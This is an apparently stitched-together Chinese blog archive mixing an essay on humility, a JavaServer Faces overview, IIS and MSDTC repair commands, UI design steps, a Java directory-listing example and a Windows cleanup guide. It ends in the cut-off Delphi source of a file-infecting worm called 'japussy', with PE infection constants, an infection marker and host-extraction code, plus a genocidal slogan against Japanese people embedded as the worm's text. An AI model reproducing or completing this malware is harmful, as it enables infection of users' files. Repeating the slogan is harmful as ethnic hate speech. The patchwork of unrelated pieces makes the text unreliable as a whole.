??????? 謙虛有很多種,真正的謙虛,不是誰都有資格享有它的.
??????? 胸無大志的人,即使極誠懇地說:“我這人沒什么志向。”這不叫謙虛,只能叫坦率,這種坦率有時讓人覺著是在嘆息;毫無才學的人,即使極認真地說:“我這人沒什么本事。”這不叫謙虛,只能叫實在,這種實在有時讓人覺著是在自責;主席臺上,正式發言之前來一句:“我水平有限。”這不叫謙虛,只能叫客套,這種客套給人感覺是一種身份的炫耀;辯論場上,笑應對手一句:“我的意見可能不太成熟。”這不叫謙虛,只能叫挑戰,這種挑戰是一種以退為進的宣示:機遇面前猶豫不決、左右為難地囁嚅:“我不知道該怎么辦。”這不叫謙虛,只能叫哀鳴,這種哀鳴除了顯示無能力以外,便是在患得患失間不知所措;困境之中難做決斷,跌倒后爬起亂了方寸:“看來我是真的頂不住了。”這不叫謙虛,只能叫無奈,這種無奈表明了窮途末路的到來。
謙虛需要一種底氣來支撐。
聰慧是智者的底氣。智者的聰慧在于能從聰慧中看到局限和缺欠,他的和氣中透出低調,和顏中多有雅量。
善良是仁者的底氣。仁者的善良是能容下無端的傷害和淺陋的狂妄,他的謙卑融于忍耐之中,他的虛懷嵌入慈悲之間。
博大是強者的底氣。強者的博大是能讓對手心悅誠服地擁戴和情不自禁地敬仰。
謙虛的人,因為看得透,所以不躁;因為想得遠,所以不妄;因為站得高,所以不傲;因為行得正,所以不懼。
這樣的人,才稱得上是謙虛的人。
??????? 以上內容出自《涉世之初》
JavaServer Faces (JSF) 是一種用于構建 Web 應用程序的新標準 Java 框架。它提供了一種以組件為中心來開發 Java Web 用戶界面的方法,從而簡化了開發。JavaServer Faces 還引起了廣大 Java/Web 開發人員的興趣。“企業開發人員”和 Web 設計人員將發現 JSF 開發可以簡單到只需將用戶界面 (UI) 組件拖放到頁面上,而“系統開發人員”將發現豐富而強健的 JSF API 為他們提供了無與倫比的功能和編程靈活性。JSF 還通過將良好構建的模型-視圖-控制器 (MVC) 設計模式集成到它的體系結構中,確保了應用程序具有更高的可維護性。最后,由于 JSF 是通過 Java Community Process (JCP) 開發的一種 Java 標準,因此開發工具供應商完全能夠為 JavaServer Faces 提供易于使用的、高效的可視化開發環境。
JSF 的主要優勢之一就是它既是 Java Web 用戶界面標準又是嚴格遵循模型-視圖-控制器 (MVC) 設計模式的框架。用戶界面代碼(視圖)與應用程序數據和邏輯(模型)的清晰分離使 JSF 應用程序更易于管理。為了準備提供頁面對應用程序數據訪問的 JSF 上下文和防止對頁面未授權或不正確的訪問,所有與應用程序的用戶交互均由一個前端“Faces”servlet(控制器)來處理。
圖 1:JavaServer Faces 的 MVC 實現
Faces Controller servlet 充當用戶和 JSF 應用程序之間的紐帶。它在明確限定的 JSF 生命周期(規定了用戶請求之間的整個事件流)的范圍內工作。例如,一收到訪問 JSF 應用程序的初始 Web 請求,Faces Controller servlet 便通過首先準備 JSF 上下文(存放所有應用程序數據的一個 Java 對象)來處理請求。然后控制器把用戶指引到所請求的頁面。該頁面通常使用簡單的表達式語言來處理來自 JSF 上下文的應用程序數據。一收到后續請求,控制器就更新所有模型數據(假設輸入了新數據)。JSF 開發人員可以通過編程的方式在應用程序運行期間隨時訪問整個 JSF 生命周期,從而可以隨時對應用程序的行為進行高度控制。
JavaServer Faces 的真正威力在于它的用戶界面組件模型。在該模型中,應用程序完全用組件集合構建,這些組件可以針對多種客戶端類型用不同的方式來進行顯示。與其他專有技術(如 ASP.Net)有點類似,JSF 的 UI 組件模型技術使開發人員能夠使用預先構建的用戶界面 (UI) 組件來構建 Web 用戶界面(而非完全從頭構建用戶界面),從而提供了前所未有的開發效率。JSF UI 組件有多種形式,可以簡單到只是顯示文本的 outputLabel,或者復雜到可以表示來自數據集合(如數據庫表)的表格化數據的 dataTable。
JavaServer Faces 規范在其參考實施中提供了一組基本 UI 組件,這些組件本身是非常有用的。它們包括兩個組件庫,即“HTML”組件庫 — 它大部分映射了標準的 HTML 輸入元素;以及“核心”庫 — 它輔助常見的應用程序開發任務(如,國際化和驗證/轉換輸入數據)。除了提供一個基本 UI 組件庫之外,JSF API 還提供了擴展和創建定制 JSF UI 組件的功能,從而在基本組件之上提供更多功能。
由于 JSF API 的豐富性和靈活性,許多 Java 開發人員開始創建新的 JSF 組件庫和實現。Oracle 的 ADF Faces 是一個完全符合 JSF 規范的組件庫,它為 JSF 應用程序開發提供了一組廣泛的增強 UI 組件。這些組件包括針對每種客戶端類型的多種呈現器、高級表格、顏色和日期選擇器以及大量通用組件(如菜單、命令按鈕、轉移選擇器和進度指示計)。
圖 2:Oracle 的 ADF Faces JSF UI 組件
除了 Oracle 的 ADF Faces 之外,還有其他新的 JSF 組件庫開始從開放源代碼社區和軟件供應商社區中出現。MyFaces 就是一個新 JSF UI 組件庫的例子,它通過 Apache 作為一個開放源代碼項目提供的。Myfaces 還是對 JSF 基本 UI 組件的增強,它擁有更廣泛的 UI 功能,如集成的 Tiles 支持、支持 Javascript 的菜單和樹控件。
圖 3:開放源代碼的 MyFaces 實現和 UI 組件庫
JSF UI 組件技術最引人注目一個方面就是它的可插入呈現功能。JSF UI 組件能夠根據查看組件的客戶端的類型來以不同方式呈現自身。例如,HTML 瀏覽器將看到特定 UI 組件的“HTML 瀏覽器友好”版本,而支持無線或 WAP 的微型設備將看到同一 UI 組件的“WML 友好”版本!JSF 通過解除 UI 組件與其呈現邏輯之間的耦合從而能夠為同一 UI 組件創建多個呈現器實現了這一功能。不同的呈現器可以與 UI 組件相關聯,在運行時 UI 組件可以根據請求的客戶端類型決定使用哪個呈現器。
圖 5:一個 ADF Faces 表格組件針對無線客戶端和 HTML 客戶端進行了不同的呈現
還應當指出的是,由于 JSF 的可插入呈現功能,使得 JSF UI 組件能夠顯示任何類型的數據,無論它是標記數據(如 HTML、XML、WML 等)還是二進制數據。例如,UI 組件還可以顯示二進制數據,如圖像流或不同的文檔類型,如 SVG、PDF 和 Word。
隨著 JSF 開發人員和擁護者社區的不斷壯大,現在有幾個網站致力于進一步推動獨立的 JSF 開發。JSFCentral 就是一個完全為 JSF 開發社區服務的新網站。它包含 JSF 技術信息、產品/組件信息以及大量與 JSF 相關的文章。
圖 4:JSFCentral — 一個免費的 Javaserver Faces 社區
因為 JavaServer Faces 是一種標準的 Java 技術,因此軟件開發工具完全能夠為 JavaServer Faces 提供高級的集成開發工具支持。多個供應商現在不同程度地支持 JSF 開發,這大大提高了 JSF 的易用性和功能。Oracle、Sun、Borland 和 IBM 都為 JavaServer Faces 提供了開發環境。由于開發工具供應商在競相提供更好、更簡單和更多的開發環境,因此基于 IDE 的 JSF 開發擁有美好的前景!
圖 6:Oracle 的 JDeveloper 提供高效、可視化的 JSF 開發體驗
JavaServer Faces 通過提供模型-視圖-控制器設計模式的一個簡潔實現,同時在不犧牲開發能力和靈活性的前提下提供高效的以組件為中心的開發,解決了 Java Web 開發的許多歷史問題。此外,因為 JSF 是一種 Java 標準,因此多個軟件供應商將繼續提供始終高效的開發環境,這些開發環境毫無疑問將達到或很可能超過專有的可視化開發環境。請繼續關注!
???????? Java最引以為傲的特性就是跨平臺。基于Java的桌面軟件以其一處編譯、到處運行的優勢橫掃企業桌面軟件市場。目前有很多跨平臺的軟件都是基于Java的,如JBuilder、Oracle的管理前端,Eclipse等。這些軟件都在各自的領域起著舉足輕重的作用。然而好景不長。Web這個老牌技術換上了AJAX這件金履玉衣后又殺了回來。而搜索引擎的老大Google將AJAX這種技術用得淋漓盡致,如Google Map、Google Office等。從種種跡象可以看出,AJAX技術正是Java桌面技術的最大敵人,那么誰能取得最后的勝利呢?
錯誤提示:Server Application Error The server has encountered an error
while loading an application during the processing of your request. Please refer to the event log for
more detail information. Please contact the server administrator for assistance.
解決方法如下:
1。右鍵我的電腦--管理--本地用戶和組,給IUSR_機器名和IWAM_機器名兩個用戶設置密碼,要一樣。
2。開始--運行--輸入cmd,
然后cd c:\Inetpub\AdminScripts
然后cscript.exe adsutil.vbs set w3svc/wamuserpass 你的密碼,
然后cscript.exe adsutil.vbs set w3svc/anonymoususerpass 你的密碼
看一下,行了沒有?如果還不行,那么
cscript.exe synciwam.vbs -v,
然后iisreset
Server Application Error續,8004EOOF錯誤
發現運行C:\Inetpub\AdminScripts\synciwam.vbs時報8004EOOF錯誤,暈死,網上搜索了下,發現是
MSDTC的問題: msdtc服務沒有正常啟動。 找到原因就好辦啦^_^
Step1 刪除注冊表中的鍵:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC
HKEY_CLASSES_ROOT\CID
Step2 :
停止MSDTC服務:net stop msdtc
Step3 卸載MSDTC服務:
msdtc -uninstall
Step4 重新安裝MSDTC服務:
msdtc -install
然后再按照原來的解決Server Application Error的方法就可以了~o yeah
???????? UI的本意是User Interface也就是用戶與界面的關系。他包括交互設計,用戶研究,與界面設計三個部分。
一個通用消費類軟件界面的設計大體可分為五個步驟:
1.需求階段
2.分析設計階段
3.調研驗證階段
4.方案改進階段
5.用戶驗證反饋階段
需求階段
???????? 軟件產品依然屬于工業產品的范疇。依然離不開3W的考慮(Who,where,why.)也就是使用者,使用環境,使用方式的需求分析。所以在設計一個軟件產品之前我們應該明確什么人用(用戶的年齡,性別,愛好,收入,教育程度等)。什么地方用(在辦公室/家庭/廠房車間/公共場所)。如何用(鼠標鍵盤/遙控器/觸摸屏)。上面的任何一個元素改變結果都會有相應的改變。
??????? 除此之外在需求階段同類競爭產品也是我們必須了解的。同類產品比我們提前問世,我們要比他作的更好才有存在的價值。那么單純的從界面美學考慮說哪個好哪個不好是沒有一個很客觀的評價標準的。我們只能說哪個更合適,更合適于我們的最終用戶的就是最好的。如何判定最合適于用戶呢,后面我會介紹用戶調研。
分析設計階段
????????? 通過分析上面的需求,我們進入設計階段。也就是方案形成階段。我們設計出幾套不同風格的界面用于被選。首先我們應該制作一個體現用戶定位的詞語坐標。例如我們為25歲左右的白領男性制作家居娛樂軟件。對于這類用戶我們分析得到的詞匯有:品質,精美,高檔,高雅,男性,時尚,cool,,個性,親和,放松等。分析這些詞匯的時候我們會發現有些詞是絕對必須體現的,例如:品質,精美,高檔,時尚。但有些詞是相互矛盾的,必須放棄一些,例如:親和,放松與cool,個性與等。所以我們畫出一個坐標,上面是我們必須用的品質,精美,高檔,時尚。左邊是貼近用戶心理的詞匯:親和,放松,人性化。右邊是體現用戶外在形象的詞匯:cool,個性,工業化。然后我們開始搜集相呼應的圖片,放在坐標的不同點上。這樣根據不同作標點的風格,我們設計出數套不同風格的面。
調研驗證階段
???????? 幾套風格必須保證在同等的設計制作水平上,不能明顯看出差異,這樣才能得到用戶客觀的反饋。
??????? 測試階段開始前我們應該對測試的具體細節進行清楚的分析描述。
例如:
數據收集方式:廳堂測試/模擬家居/辦公室。
測試時間:X年X月X日X日。
測試區域:北京、廣州、天津。
測試對象。某消費軟件界定市場用戶。
主要特征為:
·對電腦的硬件配置以及相關的性能指標比較了解,電腦應用水平較高;
·電腦使用經歷一年以上;
·家庭購買電腦時品牌和機型的主要決策者
·年齡:X-X歲;
·年齡在X歲以上的被訪者文化程度為大專及以上;
·個人月收入X以上或家庭月收入X元及以上;
·樣品
·五套軟件界面
·樣本量:X個,實際完成X個。
調研階段需要從以下幾個問題出發:
· 用戶對各套方案的第一印象
· 用戶對各套方案的綜合印象
· 用戶對各套方案的單獨評價
· 選出最喜歡的
· 選出其次喜歡的
· 對各方案的色彩,文字,圖形等分別打分。
· 結論出來以后請所有用戶說出最受歡迎方案的優缺點。
所有這些都需要用圖形表達出來,直觀科學。
方案改進階段
經過用戶調研,我們得到目標用戶最喜歡的方案。而且了解到用戶為什么喜歡,還有什么遺憾等,這樣我們就可以進行下一步修改了。這時候我們可以把精力投入到一個方案上(這里指不能換皮膚的應用軟件或游戲的界面)將方案做到細致精美。
用戶驗證階段
改正以后的方案,我們可以將他推向市場。但是設計并沒有結束。我們還需要用戶反饋,好的設計師應該在產品上市以后去站柜臺。零距離接觸最終用戶,看看用戶真正使用時的感想。為以后的升級版本積累經驗資料。
//用遞歸算法列出某個目錄下的所有子目錄和文件
import java.io.*;
class DiGuiGetDir
{
static void getDir(String strPath) throws Exception
{
?? try
?? {
??? File f=new File(strPath);
??? if(f.isDirectory())
??? {
???? File[] fList=f.listFiles();
???? for(int j=0;j<fList.length;j++)
???? {
????? if(fList[j].isDirectory())
????? {
?????? System.out.println(fList[j].getPath());
?????? getDir(fList[j].getPath()); //在getDir函數里面又調用了getDir函數本身
????? }
???? }
???? for(int j=0;j<fList.length;j++)
???? {
????? if(fList[j].isFile())
????? {
?????? System.out.println(fList[j].getPath());
????? }
???? }
??? }
?? }
?? catch(Exception e)
?? {
??? System.out.println("Error: " + e);
?? }
}
public static void main(String[] args)
{
?? String strPath="d:\\Download";
?? System.out.println(strPath);
?? try
?? {
??? getDir(strPath);
?? }
?? catch(Exception e)
?? {
?? }
}
}
??????? 音樂播放器,TTPlayer一直都是我的首選,感覺很好.Vista推出后,網絡上掀起一股Vista熱潮,各種軟件紛紛推出Vists版的,先是QQ,接著是Windows 優化大師,現在千千也推出Vista皮膚版的了.這款確實做得不錯啊,我喜歡~~~
???? 提起電腦的清理工作,大家都很熟悉吧!不過,很多朋友在對清理的認識上還有一定的局限性,更多的是集中在刪除一些windows自身生成的垃圾文件等方面;實際上還有一些另類的垃圾,比如:軟件在右鍵菜單中的項目;IE右鍵菜單、工具欄圖標、收藏夾中的無用項目;失效的快捷方式等。它們的存在,不僅浪費了我們寶貴的硬盤空間,還會給病毒留下可乘之機。所以及時地給電腦來個大清理是很有必要的。
一、 資源管理器的右鍵菜單
1、刪除右鍵菜單中的多余項
大家都知道,許多軟件在安裝時,首先要把自身的安裝文件解壓縮到一個臨時目錄(一般為 Windows文件夾下的Temp目錄),如WinZip等工具,然后再進行安裝。如果軟件設計有疏忽或者系統有問題,當安裝結束后,這些臨時文件就會變得并不“臨時”,成為硬盤里的一堆垃圾,往往它們是以*.tmp的面孔出現的;在軟件的運行過程中通常會產生一些臨時交換文件,比如一些程序工作時產生的形如*.old、*.bak這樣的備份文件,殺毒軟件或系統軟件檢查硬盤時生成的備份文件等;而軟件被卸載后,也會在硬盤中留下一些文件夾、*.dll文件、*.hlp文件和注冊表鍵值以及形形色色不知名的小東西,成為貨真價實的垃圾。事實上我們正常卸載某個應用程序后,右鍵菜單中也會遺留下一些不再需要的項目,同樣需要將其刪除。這些遺留項目一般都存放在“HKEY_CLASSES_ROOT\*shellexContextMenuHandlers”;如果是只對文件夾有效的項目,則存放在“HKEY_CLASSES_ROOTDirectoryshell”和“HKEY_CLASSES_ROOTDirectoryshellexContextMenuHandlers”,有時在“HKEY_CLASSES_ROOTFoldershell”和“HKEY_CLASSES_ROOTFoldershellexContextMenuHandlers”也有,找到后將他們刪除即可。
另外,利用注冊表的查找功能也可以去掉卸載后的遺留文件,在注冊表中查找與軟件有關的鍵值,找到并刪除,可能有多個,這時你可以用F3快捷鍵繼續查找,直到所有的項目全被刪除。
(提示:在進行任何注冊表刪除操作前,都要在注冊表編輯器中對要刪除的項進行導出操作。)
2、利用ShellExView清理
在注冊表中手工刪除不需要的右鍵菜單項,很方便,但一定要對刪除的項進行導出操作,防止出錯!許多朋友會認為有些麻煩,在這里向大家推薦使用ShellExView免費軟件來完成以上的任務,它是一款能夠顯示并控制所有安裝到系統的Windows外殼擴展,比如:右鍵菜單、用鼠標右鍵托放文件或文件夾松開按鍵后彈出菜單等的小工具。
下載后可以將壓縮包解壓縮至任意文件夾,比如“C: ShellExView”,運行其中的“Shexview.exe”即可啟動程序。如果你想把以前安裝的Real Player軟件在右鍵菜單中的項目去掉,可在“Filename”列下找到并選中“C:Program FilesRealRealOne Playerrpshellsearch.dll”項(通過文件名來查找,也可通過“Description”(描述)、“Extension Name”(擴展名稱)等條件來查找),右擊后選擇“Disable Selected Items”(禁用所選項目),這樣Real Player軟件在右鍵菜單中的項目就都消失了,如果再次選擇“Enable Selected Items”(啟用所選項目)可以進行恢復。
另外,利用ShellExView,還可以在“我的電腦”和桌面上添加或刪除特定文件夾(打印機、回收站、計劃任務、網絡連接等),比如在列表中選中“管理工具”,然后點擊“Files→Add Selected Items To...”(添加所選項目到),在下級子菜單中選擇“My Computer”。這樣就可以把“管理工具”添加到“我的電腦”中了。
軟件名稱:ShellExView、軟件版本:1.01、軟件大小:22KB、適用平臺:Windows98/Me/2000/XP、下載地址:http://files.webattack.com/localdl834/shexview.zip
3、刪除“新建”子菜單中的選項
在單擊鼠標右鍵所彈出的菜單中選擇“新建”子菜單,就會顯示出系統中已安裝應用程序所對應的新建文件。隨著系統中的應用程序越來越多,“新建”子菜單中的內容也會隨之增多。可是在計算機的日常使用中,用戶并不需要創建這么多類型的文件。其實我們完全可以通過修改注冊表來刪除“新建”菜單中的選項,而且操作并不復雜,只需啟動注冊表編輯器,將[HKEY_CLASSES_ROOT\.***](“.***”是要刪除項目的文件擴展名)下的“ShellNew”項刪除,然后退出注冊表編輯器并重新啟動計算機即可。
我們以刪除“新建”子菜單中的“WinRAR壓縮文件”項為例;首先要找到[HKEY_LOCAL_MACHNESOFTWAREClasses\.rar],將其下的“ShellNew”項刪除,回到桌面,按下F5鍵刷新,接著再右擊桌面空白處,選擇“新建”,這時你就會發現原有的“WinRAR壓縮文件”已經消失了。
4、刪除“打開方式”子菜單中的無用項
右擊某個文件,有可能在右鍵菜單的“打開方式”子菜單中有些我們并不需要的程序,“.TXT”文件的“打開方式”中有三個程序,其實有些根本不會用到,這時只要到注冊表的[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts]和[HKEY_CLASSES_ROOTSystemFileAssociations]中找到相應擴展名項,然后在“OpenWithList”子項中刪除不需要的鍵值或項即可。
我們以刪除文本文件右鍵菜單“打開方式”子菜單中的無用項為例;進入[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts\.txtOpenWithList]刪除右側窗格的相應鍵值,再進入[HKEY_CLASSES_ROOTSystemFileAssociationstextOpenWithList],刪除相應子項即可。
二、 讓IE輕裝上陣
隨著網絡技術的不斷發展,通過網絡溝通和交流已成為許多人日常生活的一部分,然而IE中的不和諧因素總是令人傷透了腦筋。窗口標題、默認首頁被改得面目全非;右鍵菜單、工具欄、工具條被強行加入各種各樣亂七八糟的內容等等,其實上面的這些情況,可以用3721上網助手全部解決。如果您的系統中沒有安裝的話,可在瀏覽器中打開assistant.3721.com,將上網助手下載并安裝到系統中,安裝完畢后,建議重新啟動一下系統再進行下一步操作。
1、清理IE右鍵菜單
在瀏覽器打開的網頁窗口中,右擊鼠標時,會彈出快捷菜單,從中,我們可以快速地進行諸如文件下載、圖片保存等很多項操作。但是,現在很多程序只要安裝到系統中,便自作主張地在IE右鍵菜單中添加相關的項目。長此以往,IE右鍵菜單不僅會變得很臃腫,而且會使彈出右鍵菜單的時間越來越長,影響系統的運行。因此,清理不需要的右鍵菜單項,十分有必要。
首先啟動IE瀏覽器,然后單擊地址欄下面的“上網助手→修復IE→恢復IE外觀”,即可打開窗口:要想清理IE右鍵菜單,我們只要窗口中選擇“清理IE右鍵菜單”選項卡,即可打開新的窗口,中間的列表顯示了所有當前IE右鍵菜單中的項目,如果想清除哪項,只要用鼠標選擇它,再單擊“立即清理”按鈕即可。
2、清理IE工具欄按鈕
清理IE工具欄按鈕的方法與此類似。點擊“清理IE工具欄按鈕”,進入功能頁面:
中間的列表顯示了IE工具欄上可以清除的按鈕。只需要點擊每項前面的復選框,然后點擊“立即清除”,即可去掉被選中的工具欄按鈕。
重新打開一個IE窗口,可以看到被刪除的工具欄按鈕已經消失了。
3、清理IE工具條
由于IE的靈活性,它的工具條也是可以隨意添加的,在很多的工具條都想放到IE上的情況下,IE越發變得擁擠不堪了。
另外,如果加載了超過3個以上的工具條,IE的啟動速度就會有所降低。這是因為IE在啟動時,會對需要加載的工具條進行初始化,完成一些設置。當只有1、2個工具條時,我們不會有所感覺。而超過3個以上,速度就會明顯降低。另外如果工具條的內容還需要從互聯網上即時下載下來,那么這個延遲就更明顯。所以建議大家最多只加載2個工具條。
當然,IE也提供了不加載工具條的功能。點擊菜單“查看→工具欄”,可以看到IE中已經安裝的工具條,其中的“標準按鈕”、“地址欄”是最基本的,不應該刪除。其他的像“鏈接”等,沒有多少用處,可以不用加載。方法是點擊該項,其前面的“勾選”標記消失,而該項代表的工具條,也不再在IE中顯示了。不過很顯然,由于每去掉一個工具條,就需要刷新一次IE,因此這種操作比較麻煩。
實際上我們可以用上網助手來完成這個操作。啟動IE瀏覽器,然后單擊地址欄下面的“上網助手→修復IE→恢復IE外觀”,要想清理IE工具條,我們只要在窗口中選擇“清理IE工具條”選項卡,即可打開新的窗口,中間的列表顯示了IE工具欄條中可以不加載的項。只需要點擊每項前面的復選框,然后點擊“立即清除”。重新打開一個IE窗口,可以看到該工具條沒有被加載。
經過上述的清理,相信您的IE一定清爽了許多,而且由于卸掉了一些包袱,輕裝上陣,IE的啟動速度也快了不少吧!
三、刪除無效的快捷方式
大家都知道,不管是Windows 9x/Me還是加了SP1補丁的Windows XP,用得時間長了,系統中的各種垃圾文件和垃圾信息就會越來越多。而在Windows中還有一種不太為人所知的垃圾,那就是失效的快捷方式,比如已經修改了某個軟件(或文件)所在的文件夾,但其快捷方式依然指向原來的位置,或者已經卸載了軟件或刪除了文件,但相應快捷方式卻仍留在“開始→程序”、“開始→文檔”、“C:Progeam Files”等處,Windows用得越久,這些垃圾快捷方式越多,Windows也就會變得越來越臃腫,運行效率當然也越來越低了。這時候,你可以使用Windows優化大師進行清理,或使用OrphansRemover這款免費軟件(下載地址:http://www.digiarch.org/download/orphansremover.zip)來查找并清除它們。
下載并安裝后,運行OrphansRemover,在軟件窗口上方的“Select folders to shortcut orphans:”和“lnclude shortcuts with broken links to:”項下選擇要掃描的文件夾及連接到移動存儲器、光盤等上的無效快捷方式。而“User defined search folder”文本框中則允許你指定文件夾。最后單擊窗口下方的“Start scan”按鈕開始掃描,完成掃描后單擊“Delete orphans”按鈕刪除無效快捷方式即可。
另外,OrphansRemover這款軟件還支持命令行參數,比如“ D:program filesorphansremover orphansremover.exe recent startmenu-silent”可以清理“文檔”、“開始”菜單中的無效快捷方式,其中“recent”為“文檔”、“startmenu”為“開始”菜單,而“-silent”表示后臺安靜執行。其它參數請參考OrphansRemover安裝文件夾manual.html文件的相關說明。
四、清理IE收藏夾
在網上沖浪時,許多網站因為一時之需而收藏,但因為需求的結束而無用;還有一些網站,因為這樣或那樣的原因而關閉了,另外還有一些網站,在你訪問它的時候,它會自動添加進你的收藏夾……,上網時間久了,收藏夾可是越來越龐大了。如何快速地知道哪些網站地址已經失效,并刪除這些無效的網址呢?如果采取以往的逐個鏈接去檢測、清理的方法,肯定是費時費力,有沒有更好的辦法呢?這時免費的AM-Deadlink軟件就派上了用場,它能滿足您的需求。
安裝并運行該軟件,在出現主窗口的同時會彈出語言選擇窗口,在下拉菜單中選擇“Chinese_gb”后軟件界面變為簡體中文,接著按F9鍵軟件開始對收藏夾中的網址進行校驗,建議按下工具欄上倒數第二個圖標,這樣在收藏夾列表窗口下方會出現瀏覽窗口,雙擊上面的網址可在此窗口中打開網頁,便于進一步的查看。
對于網址不存在的,AM-Deadlink會在“狀態”欄中顯示“文件沒有發現”,這時先不要點擊“收藏夾→刪除”,因為很可能是你所收藏的網址是該網站中某個已經刪除的頁面,而實際上這個網站依然存在,所以請在下方的瀏覽窗口中單擊右側的錘子圖標按鈕,在出現的菜單中選擇“提高一級”看看是否會出現網站首頁,如果發現首頁沒有問題,可繼續選擇“以打開的URL地址替換書簽內URL”,重新設置網址。如果“提高一級”也不行的話,不用著急,可再選擇此菜單中的“搜尋Google”,AM-Deadlink會用網站的名稱在Google中搜尋(經測試發現對中文支持不好),讓你有機會找到網站的新網址。
另外,目前不少網站提供了個性化的收藏夾圖標,如果你發現自己的收藏夾網址前面沒有任何圖標,可以按下“Favlcons→檢查書簽并下載收藏夾圖標”,它可以幫助您解決。同時AM-Deadlink軟件還具有備份收藏夾功能,它支持將收藏夾備份為ZIP文件,只需點擊“備份→Internet Explorer收藏夾(ZIP文件)”即可。
軟件名稱:AM-Deadlink、軟件版本:2.01、軟件大小:779KB、軟件性質:免費軟件、適用平臺:Windows 9x/Me/NT/2000/XP、下載地址:http://www.onlinedown.net/soft/24238.htm
五、清理無用字體
1、刪除無用字體
在文檔處理或美術設計的過程中,為了達到美觀或其它的要求,我們可能需要安裝并使用一些非系統自帶的各種特殊的字體。久而久之,系統里究竟安裝了多少種字體恐怕連自己也不太清楚了。實際上字體超過500種時,就會出現問題,比如:字體從應用程序的字體列表中消失以及Windows的啟動速度大幅下降。顯而易見,過多的字體不僅占用較多的系統資源,還會影響到Windows的整體表現。為了提升系統性能,建議您最好將用不到或者不常用的字體刪除。
要想刪除無用或不常用的字體,就要知道哪些字體不能刪除。首先宋體不能刪除,它是系統默認的中文字體;屏幕字體文件(擴展名為.FON)不能隨意刪除,否則一些對話框中的文字會變成亂碼,甚至會導致Windows 98/Me無法啟動;“.SYS”為系統字體,在系統提示信息和圖標描述性文字中要用到這些字體,刪除后可能會導致系統崩潰;還有一些符號,如Marlett、Windings等字體,也不能隨意刪除。而且帶有這些文字的字體不要刪除:Arial、Courier、MS Serif、Tahoma、Verdana、Comic Sans、MS Sans Serif、Symbol、Time New Roman、Impact、Lucida Console、Marlett、Modem、Samall Fonts、Webdings、Windings、Roman、MS-DOS CP437、script、SIMHEI、SimSun&NSimSun、Palatino、Linotype、Microsoft、MS。
另外,Windows中安裝了不少相似字體,在許多情況下是不必要而且幾乎不可能全都用到的,因此可以將相似的字體找出來,保留幾個最常用的,其他的都可以利用下面的方法移走。
為了避免錯刪字體而導致的系統故障,值得推薦的方法是把字體移出“FONTS”文件夾,集中保存在另外的目錄,比如“D:fontsback”中。同時要為該文件創建一個快捷方式,并將其放在“開始”菜單或“快速啟動”欄上。當使用這些字體時,只需打開該文件夾,然后雙擊某個字體讓其顯示在預覽窗口,只要預覽窗口一打開,字體就裝載至內存,而且在任何應用程序的“字體”菜單中都能看到。用戶可以使用這種方式載入多種字體,等使用完這些字體后,只要關閉預覽窗口即可。
2、用Font Frenzy清理無用字體
Font Frenzy是一款免費注冊的字體工具,可以列表查看當前系統所安裝的所有字體,具有安裝和刪除字體的功能,也可以從系統字體目錄移動不使用的字體到指定文件夾,并能制作一個字體鏡像文件,以便以后使用該鏡像文件恢復到系統以前所安裝的那些字體配置。 如果想刪除所有Windows安裝后新增的字體,請先關閉所有正在運行的程序,單擊工具欄上的“Defrenzy”按鈕,接著單擊左側窗格中的“Defrenzy Now”按鈕,此時會彈出提示備份的對話框,單擊“是”按鈕后彈出保存備份的文件夾選擇,直接使用默認文件夾,按下“OK”按鈕,這時會彈出備份快照名稱輸入窗口,輸入易記憶的名稱并單擊“OK”按鈕,軟件會很快地把字體移動到備份文件夾中。如果出現了問題,可直接單擊“ReFrenzy”按鈕,然后選擇之前的備份快照進行恢復。
當然,你也可以采取手動的方法進行字體移除。首先單擊工具欄上的“FrenzySnap”按鈕,接著單擊“Save Snapshot”按鈕保存一個快照,接著單擊工具欄上的“FrenzyMan”按鈕,在字體列表中勾選不需要的字體(特別是那些安裝Office之后的中文字體),然后在左側窗格中選擇“Uninstall & Store Fonts:”,單擊“Select”按鈕后這些字體便會從Windows的Fonts文件夾中移動到Font Frenzy默認的字體保存文件夾中。怎么樣?有了Font Frenzy這個好助手,你再也不會為字體問題而擔憂了吧!
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;??????????????? //病毒體的大小
iconoffset = $12eb8;????????????? //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
??
{
headersize = 38912;??????????????? //upx壓縮過病毒體的大小
iconoffset = $92bc;??????????????? //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize????? = $2e8;??????????????? //pe文件主圖標的大小--744字節
icontail????? = iconoffset + iconsize; //pe文件主圖標的尾部
id????????? = $44444444;??????????? //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
?????????? 'if a country need to be destroyed, it must be japan! ' +
?????????? '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si:??????? startupinfo;
pi:??????? process_information;
isjap:????? boolean = false; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
???? exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
???? result := true;
end;
{ 在流之間復制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
???? sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
???? try
?????? dstream := tfilestream.create(filename, fmcreate);
?????? try
?????? sstream.seek(headersize, 0); //跳過頭部的病毒部分
?????? dstream.copyfrom(sstream, sstream.size - headersize);
?????? finally
?????? dstream.free;
?????? end;
???? finally
?????? sstream.free;
???? end;
except
end;
end;
{ 填充startupinfo結構 }
